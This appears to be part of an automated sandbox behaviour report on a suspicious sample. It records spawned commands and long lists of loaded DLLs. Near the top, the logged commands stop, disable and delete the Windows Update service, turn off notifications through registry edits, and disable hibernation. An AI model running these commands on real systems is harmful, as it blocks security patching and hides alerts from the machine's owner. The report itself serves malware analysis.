Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C sc stop wuauserv	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C sc config wuauserv start= disabled	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C sc delete wuauserv	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v "ToastEnabled" /t REG_DWORD /d "0" /f	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powercfg -hibernate off	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query HKCU\Software\Ucizah /v efxucieqo	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc config wuauserv start= disabled	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc delete wuauserv	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v "ToastEnabled" /t REG_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled /t REG_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -hibernate off

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: comsvcs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cmlua.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cmutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
